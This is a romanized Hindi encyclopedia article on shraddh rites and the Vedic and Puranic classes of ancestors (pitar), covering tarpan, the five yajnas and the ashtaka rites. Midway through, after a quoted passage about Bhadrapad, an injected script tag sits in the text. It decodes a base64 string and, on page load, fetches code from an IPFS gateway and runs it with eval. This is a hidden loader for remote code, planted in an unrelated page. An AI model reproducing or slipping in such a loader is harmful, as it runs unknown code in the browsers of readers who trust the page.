thumb|250px|pindadan karate shraddhalu brahm puran ke mat se shraddh ka varnan paanch bhagoan mean kiya jana chahie. kaise, kahaan, kab, kisake dvara evan kin samagriyoan dvara. kintu in paanch prakaroan ke vishay mean likhane ke poorv mean hamean 'pitar' shabd ki antarnihit adakalin vicharadhara par prakash dal lena chahie. hamean yah dekhana hai ki atyant prachin kal mean (jahaan tak hamean sahity prakash mil pata hai) is shabd ke vishay mean kya drishtikon tha aur isaki kya mahatta thi.

pitri ka arth

'pitri' ka arth hai 'pita', kintu 'pitar' shabd jo do arthoan mean prayukt hua hai:-

1. vyakti ke age ke tin mrit poorvaj
2. manav jati ke prarambh ya prachin poorvaj jo ek prithak lok ke adhivasi ke roop mean kalpit haian.

doosare arth ke lie rrigved mean ullekh hai "vah som jo ki shaktishali hota chala jata hai aur doosaroan ko bhi shaktishali banata hai, jo tanane vale se tan diya jata hai, jo dhara mean bahata hai, prakashaman (soory) dvara jisane hamari raksha ki – 'vah som, jisaki sahayata se hamare pitar logoan ne ek sthan ko evan uchchatar sthaloan ko janate hue gauoan ke lie parvat ko pi dit kiya." rrigved mean pitrigan nimn, madhyam evan uchch tin shreniyoan mean vyakt hue haian. ve prachin, pashchatyakalin evan uchchatar kahe gaye haian. ve sabhi agni ko jnat haian, yadyapi sabhi pitrigan apane vanshajoan ko jnat nahian haian. ve kee shreniyoan mean vibhakt haian, yatha–aangirash, vairoop, bhrigu, navagv evan dashagv; aangirash log yam se sambandhit haian, donoan ko yajn mean sath hi bulaya jata hai. rrigved mean aisa kaha gaya hai–"jisaki (indr ki) sahayata se hamare prachin pitar aangirash, jinhoanne usaki stuti-vandana ki aur jo sthan ko janate the, gauoan ka pata laga sake." aangirash pitar log svayan do bhagoan mean vibhakt the; navagv evan dashagv. kee sthanoan par pitar log sapt rrishiyoan jaise sambodhit kiye gaye haian aur kabhi-kabhi navagv evan dashagv bhi sapt rrishi kahe gaye haian. aangirash log agni evan svarg ke putr kahe gaye haian. pitri log adhikatar devoan, visheshat: yam ke sath anand manate hue vyakt kiye gaye haian. ve somapremi hote haian, ve kush par baithate haian, ve agni evan indr ke sath ahutiyaan lene ate haian aur agni unake pas ahutiyaan le jati haian. jal jane ke uparant mritatma ko agni pitaroan ke pas le jati hai. pashchatkalin granthoan mean bhi, yatha markandey puran mean brahma ko arambh mean char prakar ki shreniyaan utpann karate hue vyakt kiya gaya hai, yatha–dev, asur, pitar evan manav prani.

chitr:Blockquote-open.gif bhadrapad ki pratiksha hamare poorvaj poore varsh bhar karate haian. ve chandralok ke madhyam se dakshin disha mean apani mrityu tithi par apane ghar ke daravaze par jate haian aur samman pakar apani nee pidhi ko ashirvad dete haian. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aisa mana gaya hai ki sharir ke dah ke uparant mritatma ko vayavy sharir prapt hota hai aur vah manushyoan ko ekatr karane vale yam evan pitaroan ke sath ho leta hai. mritatma pitrilok mean chala jata hai aur agni se prarthana ki jati hai ki vah use sath karm vale pitaroan evan vishnu ke pad-nyas (vikram) ki or le jae. yadyapi rrigved mean yam ki divi (svarg mean) nivas karane vala likha gaya hai, kintu nirukt ke mat se vah madhyam lok mean rahane vala dev kaha gaya hai. atharvaved ka kathan hai–"ham shraddhapoorvak pita ke pita evan pitamah ki, jo brihath madhyam lok mean rahate haian aur jo prithvi evan svarg mean rahate haian, pooja karean." rrigved mean aya hai–'tin lok haian; do (arthath svarg evan prithvi) savita ki god mean haian, ek (arthath madhyam lok) yamalok hai, jahaan mritatma ekatr hote haian.' 'mahan prakashaman (soory) udit ho gaya hai, (vah) pitaroan ka dan hai.' taittiriy brahman mean aisa aya hai ki pitar isase age tisare lok mean nivas karate haian. isaka arth yah hai ki bhulok evan aantariksh ke uparant pitrilok ata hai. brihadaranyakopanishadh mean manushyoan, pitaroan evan devoan ke tin lok prithak-prithak varnit haian. rrigved mean yam kuchh bhinn bhasha mean ullikhit hai, vah svayan ek dev kaha gaya hai, n ki pratham manushy jisane marg banaya, ya vah manushyoan ko ekatr karane vala hai ya pitaroan ki sangati mean rahata hai. kuchh sthaloan par vah nisandeh raja kaha jata hai aur varun ke sath hi prashansit hai. kintu aisi sthiti bahut hi kam varnit hai.

pitaroan ki any shreniyaan

[[chitr:Puran-1.png|250px|thumb|puran]]

• pitaroan ki any shreniyaan bhi haian, yatha–pitar: somavant:, pitar: barhishad: evan pitar: agnishvatta:.
• antim do ke nam rrigved mean aye haian. shatapath brahman ne inaki paribhasha yoan ki hai–"jinhoanne ek somayajn kiya, ve pitar somavant: kahe gaye haian; jinhoanne pakv ahutiyaan (charu evan purodas ke saman) dian aur ek lok prapt kiya, ve pitar barhishad: kahe gaye haian; jinhoanne in donoan mean koee krity nahian sampadit kiya aur jinhean jalate samay agni ne samapt kar diya, unhean agnishvatta: kaha gaya hai; keval ye hi pitar haian."
• pashchatkalin lekhakoan ne pitaroan ki shreniyoan ke namoan ke arthoan mean parivartan kar diya hai.
• udaharanarth, nandipuran (hemadri) mean aya hai- brahmanoan ke pitar agnishvatt, kshatriyoan ke pitar barhishadh, vaishyoan ke pitar kavy, shoodroan ke pitar sukalin: tatha mlechchhoan evan asprishyoan ke pitar vyam haian.
• yahaan tak ki manu ne bhi pitaroan ki kee kotiyaan di haian aur charoan varnoan ke lie kram se somapa:, havirbhuj:, ajyapa: evan sukalin: pitaroan ke nam batala diye gaye haian. age chalakar manu ne kaha hai ki brahmanoan ke pitar anagnidagdh, agnidagdh, kavy barhishadh, agnishvatt evan saumy namoan se pukare jate haian. in namoan se pata chalata hai ki manu ne pitaroan ki kotiyoan ke vishay mean katipay paramparaoan ko manyata di hai.
• in namoan evan inaki paribhasha ke lie matsy puran mean bhi ullekh hai.
• shatatapasmriti mean pitaroan ki 12 kotiyoan ya vibhagoan ke nam aye haian, yatha–pindabhaj: (3), lepabhaj: (3), nandimukh (3) evan ashrumukh (3). yah pitrivibhajan do drishtiyoan se hua hai.
• vayu puran, brahmand puran, padm puran, vishnudharmottar evan any puranoan mean pitaroan ke sat prakar aye haian, jinamean tin amoortimanh haian aur char moortimanh; vahaan par unaka aur unaki santati ka vishad varnan hua haian in par ham vichar nahian kareange.
• skand puran ne pitaroan ki nau kotiyaan di haian; agnishvatta:, barhishad:, ajyapath, somapa:, rashmipa:, upahoota:, ayantun:, shraddhabhuj: evan nandimukha:. is soochi mean naye evan purane nam sammilit haian.
• bharatiy log bhagoan, upavibhagoan, vibhajanoan adi mean b di abhiruchi pradarshit karate haian aur sambhavat: yah usi bhavana ka ek digdarshan hai.
• manu ne kaha hai ki rrishiyoan se pitaroan ki udabhooti huee, pitaroan se devoan evan manavoan ki tatha devoan se sthavar evan jangam ke sampoorn lok ki udabhooti huee.
• yah drashtavy hai ki yahaan devagan pitaroan se udabhoot mane gaye haian. yah keval pitaroan ki prashasti hai (arthath yah ek arthavad hai).

devoan se bhinn

pitar log devoan se bhinn the. rrigved ke 'panchajana mam hotran jushadhvamh' mean prayukt shabd 'panchajana:' evan any vachanoan ke arth ke adhar par aitarey brahman ne vyakhya ki hai ve paanch kotiyaan haian, apsaraoan ke sath gandharv, pitri, dev, sarp evan rakshas. nirukt ne isaka kuchh aanshoan mean anusaran kiya hai aur apani or se bhi vyakhya ki hai. atharvaved mean dev, pitri evan manushy usi kram mean ullikhit haian. prachin vaidik uktiyaan evan vyavahar devoan tatha pitaroan mean spasht bhinnata prakat karate haian. taittiriy sanhita mean aya hai–'devoan evan manushyoan ne dishaoan ko baant liya, devoan ne poorv liya, pitaroan ne dakshin, manushyoan ne pashchim evan rudroan ne uttar.' samany niyam yah hai ki devoan ke yajn madhyahn ke poorv mean arambh kiye jate haian aur pitriyajn aparanhn mean. shatapath brahman ne varnan kiya hai ki pitar log apane dahine kandhe par (aur bayean bahu ke niche) yajnopavit dharan karake prajapati ke yahaan pahuanche, tab prajapati ne unase kaha- 'tum logoan ko bhojan pratyek mas (ke ant) mean (amavasya ko) milega, tumhari svadha vichar ki te­zi hogi evan chandr tumhara prakash hoga.' devoan se usane kaha- 'yajn tumhara bhojan hoga evan soory tumhara prakash.' taittiriy brahman ne lagata hai, un pitaroan mean jo devoan ke svabhav evan sthiti ke haian evan unamean, jo adhik ya kam manav ke saman haian, antar bataya hai.

dev-krity evan pitri krity

thumb|250px|pooja archana karate shraddhalu kaushikasutr ne ek sthal par dev-krityoan evan pitri krityoan ki vidhi ke antar ko b de sundar dhang se diya hai. dev-krity karane vala yajnopavit ko bayean kandhe evan dahine hath ke niche rakhata hai evan pitri-krity karane vala dayean kandhe evan bayean hath ke niche rakhata hai. dev-krity poorv ki or ya uttar ki or mukh karake arambh kiya jata hai kintu pitri-yajn dakshinabhimukh hokar arambh kiya jata hai. dev-krity ka uttar-poorv (ya uttar ya poorv) mean ant kiya jata hai aur pitri-krity dakshin-pashchim mean samapt kiya jata hai. pitaroan ke lie ek krity ek hi bar kiya jata hai, kintu devoan ke lie kam se kam tir bar ya shastranukul kee bar kiya jata hai. pradakshina karane mean dakshin bhag devoan ki or kiya jata hai aur bayaan bhag pitaroan ke vishay mean kiya jata hai. devoan ko havi ya ahutiyaan dete samay 'svaha' evan 'vashath' shabd uchcharit hote haian, kintu pitaroan ke lie is vishay mean 'svadha' ya 'namaskar' shabd uchcharit kiya jata hai. pitaroan ke lie darbh j d se ukha dakar prayukt hote haian kintu devoan ke lie j d ke oopar katakar. baudhayan shrautasootr ne ek sthal par inamean se kuchh ka varnan kiya hai. svayan rrigved ne devoan evan pitaroan ke lie aise shabdantar ko vyakt kiya hai. shatapathabrahman ne devoan ko amar evan pitaroan ko mar kaha hai.

dev evan pitar ki prithak kotiyaan

yadyapi dev evan pitar prithak kotiyoan mean rakhe gaye haian, tathapi pitar log devoan ki kuchh visheshataoan ko apane mean rakhate haian. rrigved ne kaha hai ki pitar som pite haian. rrigved mean aisa kaha gaya hai ki pitaroan ne akash ko nakshatroan se sushobhit kiya (nakshatrebhi: pitaro dyamapianshanh) aur aandhakar ratri mean evan prakash din mean rakha. pitaroan ko gupt prakash prapt karane vale kaha gaya hai aur unhean 'usha' ko utpann karane vale dyotit kiya gaya hai. yahaan pitaroan ko uchchatam devoan ki shaktiyoan se samanvit mana gaya hai. bhaanti-bhaanti ke varadanoan ki prapti ke lie pitaroan ko shraddhapoorvak bulaya gaya hai aur unaka anugrah kee prakar se prapy kaha gaya hai. mean pitaroan se sumati evan saumanas (anugrah) prapt karane ki bat kahi gayi hai. unase kashtarahit anand dene evan yajaman (yajnakarta) ko evan usake putr ko sampatti dene ke lie prarthana ki gayi hai. rrigved evan atharvaved ne sampatti evan shoor putr dene ko kaha hai. atharvaved ne kaha hai–'ve pitar jo vadhu ko dekhane ke lie ekatr hote haian, use santatiyukt anand dean.' vajasaneyi sanhita mean prasiddh mantr yah hai–"he pitaro, (is patni ke) garbh mean (age chalakar) kamaloan ki mala pahanane vala bachcha rakho, jisase vah kumar (poorn vikasit) ho jae", jo is samay kaha jata hai, jab ki shraddhakarta ki patni tin pindoan mean bich ka pind kha leti hai.

mool evan prakar

vaidik sahity ke uparant ki rachana mean, visheshat: puranoan mean pitaroan ke mool evan prakaroan ke vishay mean vishad varnan milata hai. udaharanarth, vayupuran ne pitaroan ki tin kotiyaan bataee haian; kavy, barhishad evan agnishvatth. pun: vayu puran ne tatha varah puran, padm puran evan brahmand puran ne sat prakar ke pitaroan ke mool par prakash dala hai, jo ki svarg mean rahate haian, jinamean char to moortimanh haian aur tin amoortimanh. shatatapasmriti ne 12 pitaroan ke nam diye haian; pindabhaj:, lepabhaj:, nandimukha: evan ashrumukha:.

bhay-tattv

in shabdoan se yah nahian samajhana chahie ki pitaroan ke prati logoan mean bhay-tattv ka sarvatha abhav tha. udaharanarth rrigved mean aya hai–'(truti karane vale) manushy hone ke nate yadi ham ap ke prati koee aparadh karean to hamean usake lie dandit n karean.' rrigved mean ham padhate haian–"ve dev evan prachin pitar, jo is sthal (gauoan ya marg) ko janate haian, hamean yahaan hani n pahuanchayean." rrigved mean aisa aya hai ki–'vasishthoan ne devoan ki stuti karate hue pitaroan evan rrishiyoan ke sadrish vani (mantr) parimarjit ki ya gadhi." yahaan pitri evan rrishi do prithak kotiyaan haian aur vasishthoan ki tulana donoan se ki gee hai.

avahan

vaidik sahity ki bahut si uktiyoan mean pitar shabd vyakti ke samipavarti, mrit purush poorvajoan ke lie prayukt hua hai. at: tin pidhiyoan tak ve (poorvajoan ko) nam se vishisht roop se vyanjit karate haian, kyoanki aise bahut se pitar haian, jinhean ahuti di jati hai.' shatapath brahman ne pita, pitamah evan prapitamah ko purodash (roti) dete samay ke sooktoan ka ullekh kiya hai aur kaha hai ki karta in shabdoan ko kahata hai–"he pitar log, yahaan akar anand lo, bailoan ke saman apane-apane bhag par svayan ao'. kuchh ne yah sookt diya hai–"yah (bhat ka pind) tumhare liye aur unake liye hai jo tumhare pichhe ate haian." kintu shatapath brahman ne dridhatapoorvak kaha hai ki yah sookt nahian karana chahie, pratyut yah vidhi apanani chahie–"yahaan yah tumhare liye hai." shatapathabrahman mean tin poorv purushoan ko svadhapremi kaha gaya hai. in vaidik uktiyoan evan manu tatha vishnu puran ki is vyavastha par ki nam evan gotr bolakar hi pitaroan ka avahan karana chahie, nirbhar rahate hue shraddhaprakash ne yah nishkarsh nikala hai ki pita evan any poorvajoan ko hi shraddh ka devata kaha jata hai, n ki vasu, rudr evan adity ko, kyoanki inake gotr nahian hote aur pita adi vasu, rudr evan adity ke roop mean kaval dhyan ke lie varnit haian. shraddhaprakash brahm puran ne is kathan, jo yah vyavastha deta hai ki karta ko brahmanoan se yah kahana chahie ki maian krityoan ke lie pitaroan ko bulaooanga aur jab brahman aisi anumati de dete haian, to use vaisa karana chahie, (arthath pitaroan ka ahavan karana chahie), yah nirdesh deta hai ki yahaan par pitaroan ka tatpary hai devoan se, arthath vasuoan, rudroan evan adityoan se tatha manavoan se, yatha–karta ke pita evan anyoan se. vayu puran, brahmand puran evan anushasan parv ne uparyukt pitaroan evan laukik pitaroan (pita, pitamah evan prapitamah) mean andar darshaya haian.

taparn

thumb|250px|pooja archana karate shraddhalu

mukhy lekh : tarpan (shraddh)

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avahan, poojan, namaskar ke uparant tarpan kiya jata hai. jal mean doodh, jau, chaval, chandan dal kar tarpan kary mean prayukt karate haian. mil sake, to ganga jal bhi dal dena chahie. tripti ke lie tarpan kiya jata hai. svagarsth atmaoan ki tripti kisi padarth se, khane-pahanane adi ki vastu se nahian hoti, kyoanki sthool sharir ke lie hi bhautik upakaranoan ki avashyakata p dati hai. marane ke bad sthool sharir samapt hokar, keval sookshm sharir hi rah jata hai. sookshm sharir ko bhookh-pyas, sardi-garmi adi ki avashyakata nahian rahati, usaki tripti ka vishay koee, khady padarth ya ha d-maans vale sharir ke lie upayukt upakaran nahian ho sakate. sookshm sharir mean vicharana, chetana aur bhavana ki pradhanata rahati hai, isalie usamean utkrisht bhavanaoan se bana antahkaran ya vatavaran hi shantidayak hota hai.

shraddh ki mahatta

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sootrakal (lagabhag ee. poo. 600) se lekar madhyakal ke dharmashastrakaroan tak sabhi logoan ne shraddh ki mahatta evan usase utpann kalyan ki prashansa ke pul baandh diye haian. apastamb dharmasootr ne adholikhit soochana di hai- 'purane kal mean manushy evan dev isi lok mean rahate the. dev log yajnoan ke karan (puraskarasvaroop) svarg chale gaye, kintu manushy yahian par rah gaye. jo manushy devoan ke saman yajn karate haian ve paralok (svarg) mean devoan evan brahma ke sath nivas karate haian. tab (manushyoan ko pichhe rahate dekhakar) manu ne us krity ko arambh kiya jise shraddh ki sanjna mili hai, jo manav jati ko shrey (mukti ya anand) ki or le jata hai. is krity mean pitar log devata (adhishthata) haian, kintu brahman log (jinhean bhojan diya jata hai) ahavaniy agni (jisamean yajnoan ke samay ahutiyaan di jati haian) ke sthan par mane jate haian."

shraddh ki prashastiyaan

shraddh ki prashastiyoan ke kuchh udaharan yahaan diye ja rahe haian. baudhayan dharmasootr ka kathan hai ki pitaroan ke krityoan se dirgh ayu, svarg, yash evan pushtikarm (samriddhi) ki prapti hoti hai. harivansh puran mean aya hai–shraddh se yah lok pratishthit hai aur isase yog (moksh) ka uday hota hai. sumantu ka kathan hai–shraddh se badhakar shreyaskar kuchh nahian hai. vayupuran ka kathan hai ki yadi koee shraddhapoorvak shraddh karata hai to vah brahma, indr, rudr evan any devoan, rrishiyoan, pakshiyoan, manavoan, pashuoan, reangane vale jivoan evan pitaroan ke samuday tatha un sabhi ko jo jiv kahe jate haian, evan sampoorn vishv ko prasann karata hai. yam ne kaha hai ki pitripoojan se ayu, putr, yash, kirti, pushti (samriddhi), bal, shri, pashu, saukhy, dhan, dhany ki prapti hoti hai. shraddhasar evan shraddhaprakash dvara udadhrit vishnudharmottarapuran mean aisa kaha gaya hai ki prapitamah ko diya gaya pind svayan vasudev ghoshit hai, pitamah ko diya gaya pind sankarshan tatha pita ko diya gaya pind pradyumn ghoshit hai aur pindakarta svayan aniruddh kahalata hai. shantiparv mean kaha gaya hai ki vishnu ko tinoan pindoan mean avasthit samajhana chahie. koorm puran mean aya hai ki "amavasya ke din pitar log vayavy roop dharan kar apane purane nivas ke dvar par ate haian aur dekhate haian ki unake kul ke logoan ke dvara shraddh kiya jata hai ki nahian. aisa ve sooryast tak dekhate haian. jab sooryast ho jata hai, ve bhookh evan pyas se vyakul ho nirash ho jate haian, chintit ho jate haian, bahut der tak dirgh shvas chho date haian aur ant mean apane vanshajoan ko kosate (unaki bhartsana karate hue) chale jate haian. jo log amavasya ko jal ya shak-bhaji se bhi shraddh nahian karate unake pitar unhean abhishapit kar chale jate haian."

shraddh evan shraddha mean ghanishth sambandh

'shraddh' shabd ki vyutpatti par bhi kuchh likh dena avashyak hai. yah spasht hai ki yah shabd "shraddha" se bana hai. brahmapuran (uparyukt uddhrit), marichi evan brihaspati ki paribhashaoan se yah spasht hai ki shraddh evan shraddha mean ghanishth sambandh hai. shraddh mean shraddhakarta ka yah atal vishvas rahata hai ki mrit ya pitaroan ke kalyan ke lie brahmanoan ko jo kuchh bhi diya jata hai vah use ya unhean kisi prakar avashy hi milata hai. skand puran ka kathan hai ki 'shraddh' nam isalie p da hai ki us krity mean shraddha mool (mool srot) hai. isaka tatpary yah hai ki isamean n keval vishvas hai, pratyut ek atal dharana hai ki vyakti ko yah karana hi hai. rrigved mean shraddha ko devatv diya gaya hai aur vah devata ke saman hi sambodhit haian. kuchh sthaloan par shraddha shabd ke do bhag (shrath evan dha) bina kisi arth parivartan ke prithakh-prithakh rakhe gaye haian. taittiriy sanhita mean aya hai–"brihaspati ne ichchha prakat ki; dev mujhamean vishvas (shraddha) rakhean, maian unake purohit ka pad prapt karooan." nirukt mean 'shrath' evan 'shraddha' ka 'saty' ke arth mean vyakt kiya gaya hai. vaj. san. mean kaha gaya hai ki prajapati ne 'shraddha' ko saty mean aur 'ashraddha' ko jhooth mean rakh diya hai, aur vaj. san. mean kaha gaya hai ki saty ki prapti shraddha se hoti hai. vaidikottarakalin sahity mean panini ne 'shraddhinh' evan 'shraddhik' ko 'vah jisane shraddh bhojan kar liya ho' ke arth mean nishchit kiya gaya hai. 'shraddh' shabd 'shraddha' se nikala ja sakata hai. yogasootr ke bhashy mean 'shraddha' shabd kee prakar se paribhashit hai-'shraddha chettas: sanprasad:. sa hi jananiv kalyani yoginan pati', arthath shraddha ko man ka prasad ya akshobh (sthairy) kaha gaya hai. deval ne shraddha ki paribhasha yoan ki hai-'pratyayo dharmakaryeshu tatha shraddhetyudahrata. nasti hyashraddhadhanasy dharmakritye prayojanamh..' arthath dharmik krityoan mean jo pratyay (ya vishvas) hota hai, vahi shraddha hai, jise pratyay nahian hai, use dharmik karm karane ka prayojan nahian hai. katyayan ke shraddhasootr mean vyavastha hai- 'shraddhayukt vyakti shak se bhi shraddh kare (bhale hi usake pas any bhojy padarth n hoan).' manu jahaan par pitaroan ki santushti ke lie shraddh par bal diya gaya hai. markandey puran mean shraddh ka sambandh shraddha se ghoshit kiya gaya hai aur kaha gaya hai ki shraddh mean jo kuchh bhi diya jata hai, vah pitaroan ke dvara prayukt hone vale us bhojan mean parivartit ho jata hai, jise ve karm evan punarjanm ke siddhant ke anusar naye sharir ke roop mean pate haian. is puran mean yah bhi aya hai ki anuchit evan anyayapoorn dhang se prapt dhan se jo shraddh kiya jata hai, vah chandal, pukkas tatha any nich yoniyoan mean utpann logoan ki santushti ka sadhan hota hai.

yajn

mukhy lekh : yajn

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hindoo dharm-granthoan ke anusar pratyek grihasth hindoo ko paanch yajnoan ko avashy karana chahie-

1. brahm-yajn - pratidin adhyayan aur adhyapan karana hi brahm-yajn hai.
2. dev-yajn - devataoan ki prasannata hetu poojan-havan adi karana.
3. pitri-yajn - 'shraddh' aur 'tarpan' karana hi pitri-yajn hai.
4. bhoot-yajn - 'bali' aur 'vaishv dev' ki prasannata hetu jo pooja ki jati hai, use 'bhoot-yajn' kahate haian tatha,
5. manushy-yajn - isake antargat 'atithi-satkar' ata hai.

ukt paanchoan yajnoan ko nity karane ka nirdesh hai.

shraddh ki ahuti

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ahutiyoan ke vishay mean bhi mat matantar haian. kathak grihyasootr, jaiminiy grihyasootr evan shaankhayan grihyasootr ne kaha hai ki tin vibhinn ashtakaoan mean siddh (pake hue) shak, maans evan apoop (pooa ya roti) ki ahutiyaan di jati haian. kintu par. grihyasootr evan khadiragrihyasootr ne pratham ashtaka ke lie apoopoan (poooan) ki evan antim ke lie siddh shakoan ki vyavastha di hai. khadiragrihyasootr se gay ki bali hoti haian ashvalayan grihyasootr, gobhilagrihyasootr, kaushik evan baudhayan grihyasootr ke mat se isake kee vikalp bhi haian–gay ya bhean d ya bakare ki bali dena; sulabh jangali maans ya mudh-til yukt maans ya geanda, hiran, bhaiansa, sooar, shashak, chitti vale hiran, rohit hiran, kabootar ya titar, sarang evan any pakshiyoan ka maans ya kisi boodhe lal bakare ka maans; machhaliyaan; doogh mean paka hua chaval (lapasi ke saman), ya bina pake hue ann ya phal ya mool, ya sona bhi diya ja sakata hai, athava gayoan ya saan doan ke lie keval ghas khilayi ja sakati hai. ya vedajn ko pani rakhane ke lie gh de diye ja sakate haian, ya 'yah maian ashtaka ka sampadan karata hooan' aisa kahakar shraddhasambandhi mantroan ka uchcharan kiya ja sakata hai.

mrit poorvajoan ke krity

ati prachin kal mean mrit poorvajoan ke lie keval tin krity kiye jate the:-

1. pindapitriyajn (unake dvara kiya gaya jo shrautagniyoan mean yajn karate the) ya masik shraddh (unake dvara jo shrautagniyoan mean yajn nahian karate the),
2. mahapitriyajn evan
3. ashtakashraddh.

pratham do ka varnan is granth ke khand 2, adhyay 30 evan 31 mean ho chuka hai. ashtaka shraddhoan ke vishay mean abhi tak kuchh nahian bataya gaya hai. inaka vishisht mahattv hai, kintu inake sampadan ke dinoan evan masoan, adhishthata devoan, ahutiyoan evan vidhi ke vishay mean lekhakoan mean mataiky nahian hai.

gautam ne ashtaka ko sat pakayajnoan evan chalis sanskaroan mean pariganit kiya hai. lagata hai, 'ashtaka' poornima ke pashchath kisi mas ki ashtami tithi ka dyotak hai. shatapath brahman mean aya hai–'poornima ke pashchath athavean din vah (agnichayanakarta) agni-sthan (chulli ya chulli, choolhi ya choolhe) ke lie samagri ekatr karata hai, kyoanki prajapati ke lie (poornima ke pashchath) ashtami pavitr hai aur prajapati ke lie yah krity pavitr hai.' jaiminiy ke bhashy mean shabar ne atharvaved evan apastamb mantr path mean aye hue mantr ko ashtaka ka dyotak mana hai. mantr yah hai–'vah (ashtaka) ratri hamare lie mangalakari ho, jisaka log kisi ki or ati huee gau ke saman svagat karate haian, aur jo varsh ki patni hai.' atharvaved mean sanvatsar ko ekashtaka ka pati kaha gaya hai. taittiriy sanhita mean aya hai ki 'jo log sanvatsar satr ke lie diksha lene vale haian unhean ekashtaka ke din diksha leni chahie, jo ekashtaka kahalati hai. vah varsh ki patni hai.' jaiminiy ne ekashtaka ko magh ki poornima ke pashchath ki ashtami kaha hai. apastamb grihyasootr ne bhi yahi kaha hai. kintu itana jo d diya hai ki us tithi (ashtami) mean chandr jyeshtha nakshatr mean hota hai. isaki arth yah hua ki yadi ashtami do dinoan ki ho gayi to vah din jab chandr jyeshtha mean hai, ekashtaka kahalayega. hiranyakeshi grihyasootr ne bhi ekashtaka ko varsh ki patni kaha hai.'

ashtaka krity

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ashvalayan grihyasootr ke mat se ashtaka ke din (arthath krity) char the, hemant evan shishir (arthath margashirsh, paush, magh evan phalgun) ki do rrituoan ke char masoan ke krishna pakshoan ki athavian tithiyaan. adhikaansh mean sabhi grihyasootr, yatha–manavagrihyasutr, shaankhayan grihyasootr, khadiragrihyasootr, kathakagrihyasootr, kaushitaki grihyasootr evan par. grihyasootr kahate haian ki keval tin hi ashtaka krity hote haian; margashirsh (agrahayan) ki poornima ke pashchath athavian tithi (ise agrahayani kaha jata tha); arthath margashirsh, paush (taish) evan magh ke krishna pakshoan mean. gobhilagrihyasootr ne likha hai ki kauts ke mat se ashtakaean char haian aur sabhi mean mas diya jata hai, kintu gautam, audagahamani evan varkakhandi ne keval tin ki vyavastha di hai. baudhayan grihyasootr ke mat se taish, magh evan phalgun mean tin ashtakahom kiye jate haian.

anvashtaka krity

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yadyapi apastambagrihyasootr evan shaankhayan grihyasootr ka kathan hai ki anvashtaka krity mean pindapitriyajn ki vidhi mani jati hai, kintu kuchh grihyasootr is krity ka vishad varnan karate haian. ashvalayan grihyasootr evan vishnu dharmasootr ne madhyam marg apanaya hai. ashvalayan grihyasootr ka varnan apekshakrit sankshipt hai. yah jnatavy hai ki kuchh grihyasootroan ka kathan hai ki anvashtaka krity krishna paksh ki navami ya dashami ko kiya jata hai. ise paraskar grihyasootr, manu evan vishnu dharmasootr ne anvashtaka ki sanjna di hai. atyant vishisht bat yah hai ki is krity mean stri pitaroan ka ahavan kiya jata hai aur isamean jo ahutiyaan di jati haian, unamean sura, maan d, aanjan, lep evan malaean bhi sammilit rahati haian. yadyapi ashvalayan grihyasootr adi ne ghoshit kiya hai ki ashtaka evan anvashtaky masik shraddh ya pindapitriyajn par adharit haian tathapi baudhayan grihyasootr, gobhilagrihyasootr evan khadir grihyasootr ne kaha hai ki ashtaka ya anvashtaky ke adhar par hi pindapitriyajn evan any shraddh kiye jate haian. kathak grihyasootr ka kathan hai ki pratham shraddh, sapindikaran jaise any shraddh, pashushraddh (jisamean pashu ka maans arpit kiya jata hai) evan masik shraddh ashtaka ki vidhi ka hi anusaran karate haian.

madhyavarsh krity

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ashvalayan grihyasootr mean madhyavarsh namak krity ke vishay mean do mat prakashit kiye gaye haian. narayan ke mat se yah krity bhadrapad krishna paksh ki tin tithiyoan mean, arthath saptami, ashtami evan navami ko kiya jata hai. doosara mat yah hai ki yah krity ashtakaoan ke saman hi hai jo bhadrapad ki trayodashi ko sampadit hota hai. jabaki samanyat: chandr magha nakshatr mean hota hai. is krity ke nam mean sandeh hai, kyoanki pandulipiyoan mean bahut se roop prastut kiye gaye haian.

anvahary shraddh

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• gobhilagrihyasootr mean anvahary namak ek any shraddh ka ullekh hua hai jo ki pindapitriyajn uparant usi din sampadit hota hai.
• shaankhayan grihyasootr ne pindapitriyajn se prithakh masik shraddh ki charcha ki hai.
• manu ka kathan hai–'pitriyajn (arthath pindapitriyajn) ke sampadan ke uparant vah brahman jo agnihotri arthath ahitagni hai, prati mas use amavasya ke din pindanvaharyak shraddh karana chahie.

vishad varnan

shraddh sanbandhi sahity vishal hai. vaidik sanhitaoan se lekar adhunik tikaoan evan nibandhoan tak mean shraddh ke vishay mean vishad varnan prapt hota hai. puranoan mean shraddh ke vishay mean sahasroan shlok haian. vaidik sanhitaoan evan brahman granthoan, grihyasootroan evan dharmasootroan se lekar arambhik smritigranthoan yatha manu evan yajnavalky ki smritiyoan tak, tadanantar pratinidhi puran evan medhatithi, vijnaneshvar tatha aparark ki tikaoan dvara upasthit vivechanoan se lekar madhyakalik nibandhoan tak ka varnan hai. pauranik kal mean katipay shakhaoan ki or sanket milate haian. smritiyoan evan mahabharat ke vachanoan tatha sootroan, manu, yajnavalky evan any smritiyoan ki tikaoan ke atirikt shraddh sambandhi nibandhoan ki sankhya apar hai. is vishay mean keval nimnalikhit nibandhoan ki (kal ke anusar vyavasthit) charcha hogi–shraddhakalpataru, aniruddh ki haralata evan pitridayita, smrityarthasar, smritichandrika, chaturvargachintamani (shraddh prakaran), hemadri, rudradhar ka shraddhavivek, madanaparijat, shraddhasar (nrisianhaprasad ka ek bhag), govindanand ki shraddhakriyakaumudi, raghunandan ka shraddhatatv, shraddhasaukhy, vinayak urph nand pandit ki shraddhakalpalata, nirnayasindhu, nilakanth ka shraddhamayookh, shraddhaprakash (viramitroday ka ek bhag), divakar bhatt ki shraddhachandrika, smritimuktaphal (shraddh par), dharmasindhu evan mitakshara ki tika–balabhatti. shraddhasambandhi vishad varnan upasthit karate samay, kahian-kahian avashyakatanusar samany vichar bhi upasthit kiye jayeange.

shraddh karane ki yogyata

[[chitr:Upanayana-1.jpg|thumb|250px|upanayan
